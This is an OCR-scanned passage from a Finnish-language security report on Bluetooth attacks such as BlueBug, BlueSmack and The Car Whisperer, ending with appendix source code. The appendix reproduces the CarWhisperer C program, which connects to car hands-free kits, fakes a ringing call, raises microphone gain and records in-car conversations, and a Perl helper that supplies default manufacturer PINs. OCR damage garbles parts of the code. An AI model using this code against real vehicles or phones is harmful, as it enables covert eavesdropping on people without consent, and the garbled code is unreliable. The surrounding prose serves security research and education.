yhteyden, jos vain ensin saadaa liséttya itsensa puhelimen "my devices’ listaan.
Kéayttamadlla OBEX PUSH:ia (esm. kayntikortti) voi lisitd laitteensa listaan ja

onnistuessaan, ovat laitteen AT-komennot kdytdssa, ilman haltijan kuittausta.

8.2.6 BlueBug

BlueBug perustuu piiloitettujen, mutta suojaamattomien kanavien ja AT-komentojen
hyvaksikdyttamiseen. Useissa puhelimissa AT-komentoja kaytetddn yleiseen
puhelimen hallintaan, SMS-viestien lukemiseen, poistamiseen, |8hettdmiseen,
puhelinluettelon kopiointiin, uudelleenkirjoitukseen, puheluiden
uudelleenohjaukseen. AT-komennoilla on my0ds mahdollista muuntaa puhelin
salakuunteluun  sopivaks  lahettimeksi. Hyokkayksen vakavuuden ja sen
mahdollistaman rahallisen haitan takia ovat tutkijat pd&ttaneet olla julkistamatta
hyokkayksen tarkempia tietoja. Liitteessal, riveilta 254, 270, 271 nahdaén kuinka
yksinkertaista yhteyden luonnin jalkeen on |ahettda A T-komentoja puhelimelle.

8.2.7 Blueprinting

Koska Bluetooth-osoite koostuu yhteensa 48 bitista ja silla voidaan yksil6ida yli
281 000 miljardia laitetta. Alueesta on erotettu 64 erityistd 24-bittistd avaruutta,
yhteensd noin miljardi osoitetta erikoistarkoituksiin. Osoite on kéasittelyn

tunnistamaan ja yksil6imaan laite, esim. tietyn puhelinvalmistajan valmistamaksi.

Jokainen laite lahettda osoitteensa vastaanottgjalle yhteyttd muodostaessaan, tasta
osoitteesta voidaan paatella mm. piirin/laitteen valmistgja. LAP méardtdan Kiinteasti
vamistajale. Osoitteen loppuosan méarittda valmistgjan omat intressit, mutta on
todennadkoistd, etta laiteosoitteet valitaan satunnaisesti, jottei laitteiden mallia tai/ja
versiota voida etdtunnistaa nain helpolla. Erikoisominaisuuksista, kuten SDP-

palvelun tiedoista voidaan yksil6ida laite tiettyyn aikai semmin tunnistettuun malliin.
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Alla esimerkki Blueprint tietokannan solusta. Ensmmaéisella rivilla on laitteen
vamistggaa kuvaava Bluetooth-tunnuksen akuosa ja laitteen tiedoista luotu
summaluku. Seuraavat rivit, aina ”"EOD” tunnisteeseen saakka ovat vapaamuotoista

tekstia aikai semmin tutkitun laitteen havainnoista.

00:60:57@2621543

device:Nokia 63101

version: V 5.22 15-11-02 NPL-1
date: n/a

type: mobile phone

note: wvulnerable to BlueBug attack
EOD
8.2.8 BlueChop

BlueChop ohjelma mahdollistaa olemassa olevien Bluetooth-yhteyksien katkonnan.
Toimiakseen se vadtii laitteelta tuen usealle samanaikaiselle yhteydelle. Ongelma

johtuu kommunikoinnin maérityksista ja siten on laittei stoval mistajasta rii ppumaton.

8.2.9 BlueStab

BlueStab hyokkéayksessi puhelimen nimeen lisétéan merkke & alfanumeerisen alueen
ulkopuolelta. Seurauksena ne puhelinmallit, joissa e ole méaéritysten mukaan

toteutettu tekstirivin kasittelyd, saattavat jumiutuatai toimia muutoin kummallisesti.

8.2.10 BlueSmack

Ne, jotka varttuivat tietotekniikan parissa jo Windows 95-aikakaudella, muistavat
varmasti tietoverkoissa ongelmia aheuttaneen ”Ping-of-Death”-hydkkayksen.
IImeisesti historia on tuomittu toistamaan itsedan, silla sama hydkkays on toteutettu
nyt myods Bluetooth-tekniikan vdlityksella. Ongelma perustuun nyt, kuten
aikaisemminkin siihen ettd, kun ldhetetddn L2CAP-echo, jonka pituus maarataén
oletusarvoa suuremmaksi e vastaanottgjan puskurimuisti vélttamatta riita paketin
vastaanottoon. Syy téhan ongelmaan on méaritysten huolimaton toteutus. On tdysin

laite- ja valmistajakohtai sta kuinka t&hén ongelmaan on suhtauduttu.
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8.2.11 The Car Whisperer

Koska muutamat autovalmistajat kayttavéat kiinteda PIN-Iukua handsfree-sarjoissaan,
on mahdollista pakottaa yhteys suoraan auton HF-sarjaan ja nauhoittaa autossa
kaytavia keskusteluja. Yleensa puheluun vastattaessa puhelu ohjataan HF-sarjan
kautta auton Kkiinteasti asennettuihin kovadanisiin, ja puhe autosta &anitetdan
mikrofonein ja léhetetéén takaisin vastaanottajalle. Hyokkayksessa yhteys otetaan
HF-sarjaan tunnetulla PIN-luvulla, jolloin voidaan |&hettda ja vastaanottaa puhetta
autosta, ilman etta autossa olijat vattaméita edes huomaavat HF-sarjan
aktivoitumista. Liitteessd 2, riveiltd 19 - 26 ndhdaén kuinka helposti kiintedn PIN-
luvun arvaus automatisoidaan skripti kielilla Liitteessd 1, riveilta 254, 270, 271 kay
ilmi kuinka yksinkertaista yhteyden luonnin jadkeen on lahettéad AT-komentoja
puhelimelle.  AT-komennot ja niihin liittyvéat protokollat ovat kattavasti

dokumentoitu useissa kirjoissa ja nettijul kai suissa.

8.2.12 Blooover | & 11

Blooover on ‘proof-of-consept'-ohjelmisto testaukseen ja koulutus tarkoituksiin.
Ohjelmistolla voidaan testata keskeisimmét tietoturva ongelmat ja siten myds
varmistua oman puhelimen todellisesta suojauksesta. Blooover Il-ohjelmasta on
my0s julkaistu versio joka levida peer-to-peer tyylisesti Bluetooth-laitteiden valilla,
tosin uusiin laitteisiin levitetty versio eroaa a kuperdisestd siten ettei se endé kykene
levidmaan uusiin laitteisiin. Vaikkakin tédman tyyppiset ohjelma voivat helpottaa

ongelmien testausta ja korjaamista, hel pottuu myds niiden hyvaksikaytto.

8.2.13 BackTrack

Backtrack on kokoelma tietoturvan testaukseen soveltuvia tyokaluja. Suoraan
CD-levylta kaynnistyvana Linux kayttojarjestelmanga, 2.6.15.6 kernelillg, BlueZ-
pinolla ja tyokaluilla varustettuna se tarjoaa hyvén, vamiin pohjan kaikkiin
tietoturvan testauksiin. Jérjestelma el keskity Bluetooth-laitteiden tietoturvaan, mutta

silti sisdltéa kourallisen soveltuvia tyokaluja mm. war-driving-skannerin.
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8.3 Laitteisto-ongel mat

8.3.1 Bluetooone

Bluetooone liittyy suoraan langattoman tiedonsiirron |8hetys- ja vastaanottotehoon.
Kayttgilla useasti on luulo etté langattomilla laitteilla on mahdollista lahettéa ja
vastaanottaa vain myyntimiehen ilmoittaman matkan paghén. Vaikkakin tamé usein
pitéd paikkansa, e se koskaan ole estdnyt harrastelijoita venyttémasta aikoinaan
hyviks koettuja rgoja. Enndtyksena mainittakoon BlueSniper testi joka suoritettiin
Bluetooone laitteistolla (alunperin Class 1 — 100m), matkapuhelimeen Class 2 — 10m.
Santa Monican rannala yhteys matkapuhelimeen saavutettiin 1.78 km paasta.
Matkapuhelimeen voitiin tdman jélkeen suorittaa normaalisti BlueSnarf ja BlueBug
hyokkaykset. Testi el jéttanyt jalkia muualle kuin hyokk&&jan tietokantaan ja néin
todisti 10m maksimietdisyyden vaaralliseks illuusioksi. Saavutettu etéisyys riittéa
mm. yli 50 sekunnin yhteyteen 120km/h liikkuvaan autoon, mik& on jo riittavasti
lahes kaikentyyppisten hyokkayksien suorittamiseen. Lopuksi téytyy huomauttaa,
etta Euroopassa, ja siten myds Suomessa on Bluetooth-laitteiston muuttaminen
viestintdlain vastaista, koska laissa rgjoitettu antennin séteilyteho vylittyy, jos
vamistgjan antenni korvataan suuremman vahvistuksen antennilla. Kuvassa 6

ndemme valmistusvaiheet, seka kayttoonotetun valmiin Bluetooone-laitteen.

Kuva 6 Yhdistelmakuva Bluetooone-laitemuutoksesta [ 10]
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8.4 Arvio

BlueChop mahdollistaa yhteyksien katkaisun, BlueSnarf mahdollistaa tietojen
viennin laitteista, Blugjacking huijaa hyvaksymédn yhteydenottoja ja Bluetooone
mahdollistaa suurten etéisyyksien hyokkaykset. Jos tekniikoita kdytetdan harkitusti,
johdonmukaisesti ja tarkoituksena aiheuttaa ongelmia tiettyyn laitteeseen, siind on
hyva mahdollisuus onnistua. Hyokkagan tekniikan tuntemuksen téytyy olla hyva,
koskaviela ei ole tarjolla hyokkéayks a automatisoivia tyokal upaketteja. On kuitenkin
todenndkoistd, etta tdlaisia tyokaluohjelmia on ennen pitkda saatavilla. Asian
aiheuttaessa yha lagjenevaa huomiota tai sen ylittdessa uutiskynnys valtamediassa,
on vamistgiien pakko tehda asiale jotain ja laitteiden evoluutio pakottaa syntyneet

ongelmat tulevaisuuden historian sivuhuomautuksiksi.

Voidaan loputtomiin pohtia ovatko esitetyt hyokkéykset ongelma, vai onko ongelma
todellisuudessa ne virheet jotka ohjelmistokoodeista |6ytyy tai yrityskulttuuri, joka
mielelldan pyrkii markkinoimaan tuotteet jo ennen kuin ne pysyvédt kasassa
suunnittelupdydalla. On téaysin mahdollista, ettei tulevaisuudessa |0ydettyja

ongel makohtia enda voida tuoda julkisuuteen suurien valmistgjien painostuksen alla.
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/*

* CarWhisperer - get to talk with other drivers (be nice)

*

* adapted in July 2005 by Martin Herfurt <martin@trifinite.org>

* based on the test utility 'hstest' which has been developed by Marcel Holtmann

* and is provided via the 'bluez-utils' package and the BlueZ-CVS sourcetree.

* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as

* published by the Free Software Foundation;

* Credits to: Joern Seger and Marcel Holtmann.

* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS

* ORIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS.
* INNO EVENT SHALL THE COPYRIGHT HOLDER(S) AND AUTHOR(S) BE LIABLE FOR ANY

* CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES

* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN

* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF

* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

* ALL LIABILITY, INCLUDING LIABILITY FOR INFRINGEMENT OF ANY PATENTS,
* COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS, RELATING TO USE OF THIS
* SOFTWARE IS DISCLAIMED.

*

*/

#ifdef HAVE_ CONFIG_H
#include <config.h>

#endif

#include <stdio.h>
#include <errno.h>
#include <fentl.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <termios.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/ioctl.h>

#include <sys/socket.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/sco.h>

#include <bluetooth/rfcomm.h>
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static volatile int terminate = 0;

static void sig_term(int sig) {

/*

terminate = 1;

* rfcomm__connect

* establish a rfcomm connection to a given channel at a given Bluetooth device address.

*/

static int rfcomm_ connect(bdaddr_t *src, bdaddr_t *dst, uint8_t channel)

{

/*

struct sockaddr_rc addr;

int s;

if ((s = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0) {

return -1;

}

memset(&addr, o, sizeof(addr));

addr.rc_family = AF_ BLUETOOTH;
bacpy(&addr.rc_bdaddr, src);

addr.rc_channel = 1;

if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(s);

return -1;

}

memset(&addr, o, sizeof(addr));

addr.rc_family = AF_BLUETOOTH;
bacpy(&addr.rc_bdaddr, dst);

addr.rc_channel = channel;

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0 ){
close(s);

return -1;

b
// set the NONBLOCK flag for the socket
if (fentl(s,F_SETFL,0_NONBLOCK)<0)

perror("Cannot manipulate rfcomm socket.");

return s;

* rfcomm__connect

* establish a SCO connection to a given Bluetooth device address.
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*/

static int sco_connect(bdaddr_t *src, bdaddr_t *dst, uint16_t *handle, uint16_t *mtu)

{

struct sockaddr_sco addr;
struct sco__conninfo conn;
struct sco_options opts;

int s, size;

if ((s = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO)) < 0) {
return -1;

}

memset(&addr, o, sizeof(addr));
addr.sco_family = AF_ BLUETOOTH;
bacpy(&addr.sco_bdaddr, src);

if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(s);
return -1;

}

memset(&addr, o, sizeof(addr));
addr.sco_family = AF_BLUETOOTH;
bacpy(&addr.sco_bdaddr, dst);

if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0 ){
close(s);
return -1;

}

memset(&conn, 0, sizeof(conn));

size = sizeof(conn);

if (getsockopt(s, SOL_SCO, SCO_CONNINFO, &conn, &size) < 0) {
close(s);
return -1;

}

memset(&opts, 0, sizeof(opts));

size = sizeof(opts);

if (getsockopt(s, SOL_SCO, SCO_OPTIONS, &opts, &size) < 0) {
close(s);
return -1;

}

if (handle)

*handle = conn.hci_handle;
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if (mtu)

*mtu = opts.mtu;
// set the NONBLOCK flag for the socket
if (fentl(s,F_SETFL,0_NONBLOCK)<0)

perror("Cannot manipulate SCO socket.");

return s;

static void usage(void)

{

printf("Usage:\n"

"\tcarwhisperer <hci#> <messagefile> <recordfile> <bdaddr> [channel]\n");

int main(int arge, char *argv[])

{

struct sigaction sa;

fd_set rfds;

struct timeval timeout;
unsigned char buf[2048], *p;
unsigned char cmp[2048];
int maxfd, sel, wlen, rlen;

int cnt=0;

bdaddr_t local;

bdaddr_t bdaddr;

uint8_t channel;

uint8_t hcidevno;

char *infilename;
char *outfilename;
mode_t infilemode;
mode_t outfilemode;
int scostarted=0;

int mode = 0;

int dd, rd, sd, fdi, fdo;

uint16_t sco_handle, sco_mtu, vs;

switch (arge) {
case 5:
str2ba(argv[4], &bdaddr);
channel = 1;
hcidevno = o;
break;
case 6:
str2ba(argv([4], &bdaddr);
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channel = atoi(argv[5]);
hcidevno = atoi(argv[1]);
break;

default:

usage();

exit(-1);

}

infilemode = O_RDONLY;
outfilemode = O_WRONLY | O_CREAT | O_TRUNC;

infilename = argv{2];

outfilename = argv[3];

hci_devba(o, &local);

dd = hci_open_dev(hcidevno);
hci_read_voice_setting(dd, &vs, 1000);

vs = htobs(vs);

printf("Voice setting: 0x%04x\n", vs);
close(dd);

if (vs != 0x0060) {

perror("The voice setting must be 0x0060!\n");
return -1;

}

if ((fdo = open(outfilename, outfilemode)) < 0) {
perror("Can't open output file!");
return -1;

}

if ((fdi = open(infilename, infilemode)) < 0) {
perror("Can't open input file!");
return -1;

}

memset(&sa, 0, sizeof(sa));
sa.sa_flags = SA_ NOCLDSTOP;
sa.sa_handler = sig_term;
sigaction(SIGTERM, &sa, NULL);
sigaction(SIGINT, &sa, NULL);

sa.sa_handler = SIG_IGN;
sigaction(SIGCHLD, &sa, NULL);
sigaction(SIGPIPE, &sa, NULL);

if ((rd = rfcomm_ connect(&local, &bdaddr, channel)) < 0) {

perror("Can't connect RFCOMM channel!");
return -1;

}
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printf("RFCOMM channel connected\n");

// It is important that the RING message is sent before the SCO connection is established.

// This way, the audio sent is interpreted as in-band ringtone and is displayed in most cases

// immediately.

/1

// send 'RING' message in order to initiate fake phone call
wlen = write(rd, "RING\r\n", 6);

usleep(1000);

if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) {
perror("Can't connect SCO audio channel!");

close(rd);

return -1;

}

printf("SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu);

// wait for connection to be fully established

usleep(200);

// turn up the speaker volume and the microphone gain to the highest level
wlen = write(rd, "AT+VGS=15\r\n", 11);
wlen = write(rd, "AT+VGM=15\r\n", 11);

// send 'RING' message in order to initiate fake phone call
wlen = write(rd, "RING\r\n", 6);

maxfd = (rd > sd) ? rd : sd;

while (!terminate) {

FD_ZERO(&rfds);
FD_SET(rd, &rfds);
FD_SET(sd, &rfds);

timeout.tv_sec = 2;

timeout.tv_usec = 0;

if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) {

if ((FD_ISSET(rd, &rfds))&&(scostarted!=0)) {
memset(buf, o, sizeof(buf));
rlen = read(rd, buf, sizeof(buf));
//buf[rlen++] = "\0';
if (rlen > 0) {
fprintf(stderr, "got: %s\n",buf);
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if (strnemp(buf, "AT+BRSF=",8)==0) {
wlen=write(rd,"+BRSF: 63\r\n",11);
fprintf(stderr, "ansewered: +BRSF: 63\n");
} else if (strnemp(buf, "AT+CIND?",8)==0) {
wlen=write(rd,"+CIND: 0,1,0,0\r\n",16);
fprintf(stderr, "ansewered: +CIND: 1\n");
} else if (strnemp(buf, "AT+CIND=?",9)==0) {
wlen=write(rd,"+CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(o-
3)),(\"callsetup\",(0-3))\r\n",82);
fprintf(stderr, "ansewered: +CIND:
(\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\n");
}else {
// answer to anything else with an 'OK'
wlen = write(rd, "OK\r\n", 4);
fprintf(stderr, "ansewered: OK\n");

¥
}else{
// check return value of read call
if (rlen==-1) {
// terminate loop
wlen = write(rd, "AT+VGM=15\r\n", 11);
terminate=1;
K
}
b

if (FD_ISSET(sd, &rfds)) {
scostarted=1;
memset(buf, o, sizeof(buf));
rlen = read(sd, buf, sizeof(buf));
if (rlen > 0) {
wlen = write(fdo, buf, rlen);
rlen = read(fdi, buf, rlen);
wlen = 0;
if (rlen > 0) p = buf;
while (rlen > sco_mtu) {
wlen += write(sd, p, sco_mtu);
rlen -= sco_mtu;
p += sco_mtu;
¥

wlen += write(sd, p, rlen);

}

if (ent++>800) {

// keep tuning up the volume for speaker and microphone
wlen = write(rd, "RING\r\n", 6);

wlen = write(rd, "AT+VGS=15\r\n", 11);

wlen = write(rd, "AT+VGM=15\r\n", 11);
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cnt=0;

printf(".\n");

}

// close sockets
close(sd);

close(rd);
// close files
close(fdi);

close(fdo);

return o;
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#!/usr/bin/perl

# Special PIN helper that returns preset passkeys depending on the respective
# Bluetooth device address. This little script was done to be used as a

# replacement bluepin helper when using the 'carwhisperer' program that tries
# to connect the SCO channels on a given Bluetooth device.

#

# Scripted in July 2005 by Martin Herfurt <martin@trifinite.org>

#

# this is the BDADDR of the device for which a passkey is required
$bdaddr = $ARGV[1];

undef $pin;

# match the address with known ones or return the 'standard pin'
# it's also possible to just specify the first part of the address for

# setting a default passkey for a certain manufacturer

SWITCH: for ($bdaddr) {

/00:02:EE/ && do { $pin="5475"; last;}; # Nokia
/00:0E:9F/ && do { $pin="1234"; last;}; # Audi UHV
/00:80:37/ && do { $pin="8761"; last;}; # O'Neill
/00:0A:94/ && do { $pin="1234"; last;}; # Cellink
/00:0C:84/ && do { $pin="1234"; last;}; # Eazix
$pin="0000"; # 0000 is the default passkey in many cases

}

# provide the preset PIN to the device that asks
print "PIN:$pin\n";
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